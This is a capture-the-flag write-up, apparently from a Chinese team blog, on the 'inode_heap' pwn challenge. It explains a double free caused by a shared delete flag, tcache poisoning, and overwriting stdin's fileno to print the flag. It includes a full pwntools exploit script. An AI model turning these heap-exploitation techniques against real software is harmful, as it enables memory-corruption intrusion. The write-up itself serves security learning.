[Pwn] Pwn5 (inode_heap)- cpt.shao xp0int Posted on Jul 29 2019 比赛的时候上来就抽到了这题,程序逻辑不复杂,主要考察`file_struct`的利用,对这块的确不熟,到赛后分享的时候才了解到原来可以这么玩,也算是补上一个知识点的盲区了。 初始化加载了沙盒: ```c line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007 0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007 0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0007: 0x06 0x00 0x00 0x00000000 return KILL ``` 明显是禁用了execve的调用,因此写onegadget的方法是行不通了。 ```c Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled ``` 不出所料也是保护全开。 ## Vulnerability 典型选单程序,可以分配`int`和`short int`两种结构体,其中`int`的chunk为0x30, `short int`的chunk为0x20。每次分配会把一个表示是否允许删除操作的全局变量设为1,删除操作过后设为0。然而分配不同结构体的两个操作会共用同个全局变量,也就是可以通过以下操作序列来造成double free: ```python add(1, 0) remove(1) add(2, 0) remove(1) ``` 简单打远程发现double free不报错,估计是开启tcache的18.04版本。 程序初始化的时候打开flag文件并进行了一系列操作: ```c fd = open("flag", 0); if ( fd == -1 ) { puts("no such file :flag"); exit(-1); } dup2(fd, 666); close(fd); ``` 对应的,退出程序的时候也会有一个输入输出的功能。 ```c void __noreturn bye_bye() { char v0; // [rsp+0h] [rbp-70h] unsigned __int64 v1; // [rsp+68h] [rbp-8h] v1 = __readfsqword(0x28u); puts("what do you want to say at last? "); __isoc99_scanf("%99s", &v0); printf("your message :%s we have received...\n", &v0); puts("have fun !"); exit(0); } ``` 当时想肯定是用fsop无疑了,问题是没有外网手头没有angelboy写的那份play with file structure的攻略,就一直卡住了。赛后分享的时候,师傅们说可以直接把stdin的fileno改成666,退出就能输出flag了,用gdb直接修改内存试了一下果然可以。和想象中的做法还是有点区别额。 利用的话,首先泄露出heap地址,虽然只能泄露低4位,但通过parital overwrite的方法已经足够了。然后tcache posion攻击一个chunk的size,改为0xa0,这里注意要size改大后,后面一个chunk要接得上,不然一直free会corrupt。修改后获得一个unsorted bin size的chunk,连续free 8次就会进入unsortedbin当中,同时获得一个libc地址。 接下来泄露libc地址,然后tcache让tcache的链表接上去unsortedbin链表上面,如此以来tcache上面就有了一个libc地址,通过partial overwrite可以写成libc当中`stdin.fileno`的地址,取出后写入666,退出即可打印flag。 ## exp.py ```py from pwn import * import re context.terminal = ['tmux', 'splitw', '-h'] context.arch = 'amd64' context.log_level = "debug" env = {'LD_PRELOAD': ''} if len(sys.argv) == 1: p = process('inode_heap1') elif len(sys.argv) == 3: p = remote(sys.argv[1], sys.argv[2]) se = lambda data :p.send(data) sa = lambda delim,data :p.sendafter(delim, data) sl = lambda data :p.sendline(data) sla = lambda delim,data :p.sendlineafter(delim, data) sea = lambda delim,data :p.sendafter(delim, data) rc = lambda numb=4096 :p.recv(numb) ru = lambda delims, drop=True :p.recvuntil(delims, drop) uu32 = lambda data :u32(data.ljust(4, '\0')) uu64 = lambda data :u64(data.ljust(8, '\0')) info_addr = lambda tag, addr :p.info(tag + ': {:#x}'.format(addr)) def add(t, num): sla("> ", "1") sla(">", str(t)) sla("number:", str(num)) def show(t): sla("> ", "3") sla(">", str(t)) def remove(t): sla("> ", "2") sla(">", str(t)) def leave(): sla("> ", "4") add(1, 0x11111111) remove(1) add(2, 0x2222) remove(1) show(1) # leak heap ru(":") leak = int(ru("\n")) info_addr("leak", leak) target = leak + 0x40 add(1, target) add(1, target) add(1, 0x11111111) remove(2) gdb.attach(p, gdbcmd) add(2, 0xa1) for i in range(7): remove(1) add(2, 0x21) remove(1) # get libc show(1) ru(":") leak_libc = int(ru("\n")) + 0xffffffff + 1 info_addr("leak_libc", leak_libc) add(2, 0) remove(2) add(1, 0) remove(2) add(2, leak % 0x10000 - 0x260 + 0x2f0) add(1, leak_libc - 0x230) add(2, 0) add(2, 0) add(2, 666) p.interactive() ``` 打赏还是打残,这是个问题 赏 Wechat Pay Alipay [Pwn] Pwn7 - cpt.shao [Web] 高明的黑客 - LanceaKing
没有帐号? 立即注册